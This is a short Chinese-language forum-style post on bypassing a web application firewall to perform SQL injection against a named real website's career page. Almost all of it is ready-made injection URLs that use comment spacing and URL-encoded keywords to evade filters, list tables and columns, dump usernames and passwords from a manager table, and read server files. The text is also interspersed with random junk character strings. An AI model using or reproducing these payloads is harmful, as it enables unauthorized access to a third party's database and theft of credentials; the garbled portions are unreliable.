绕过waf注入

admin

waf过滤了 union select  from 等关键词
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1.列当前库所有表
http://jyht.co.uk/career.php
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,%28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%2E%54%41%42%4C%45%5F%4E%41%4D%45%2C%30%78%33%43%36%32%37%32%32%46%33%45%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%54%41%42%4C%45%53%20%41%53%20%69%20%57%48%45%52%45%20%69%2E%54%41%42%4C%45%5F%53%43%48%45%4D%41%20%3D%20%64%61%74%61%62%61%73%65%28%29%29,6,7,8,9,10,11,12,13,14,15,16,17,18
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5 u+ n/ @7 U! {( g5 X2.获取字段
0 w; A- \7 y7 k3 C% n/ k8 Yhttp://jyht.co.uk/career.php
. h1 s) [( H1 V' U2 B1 E) p?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,group_concat(COLUMN_NAME,0x3C2F62723E),6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%43%4F%4C%55%4D%4E%53%20%77%68%65%72%65%20%54%41%42%4C%45%5F%4E%41%4D%45%3D%30%78%36%44%36%31%36%45%36%31%36%37%36%35%37%32

$ j+ c2 @& Q# x- O5 b( g$ o! [: R3.直接获取数据
) B/ ]7 M1 q+ y2 X, z! Khttp://jyht.co.uk/career.php
  K1 b6 r, _8 K?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,group_concat(id,0x3d,username,0x3d,password,0x3C62722F3E),5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D/**/%6D%61%6E%61%67%65%72


4.读文件 可以不用hex  直接在页面显示(必须是root)
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3 S: `  U" ^1 ]2 y?id=-11/**//**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,hex(load_file(0x443A5C776562736974655C6A696E797568656E67746F6E675C6A7968742E636F2E756B5C636C6173735C64625F6D7973716C2E636C6173732E70687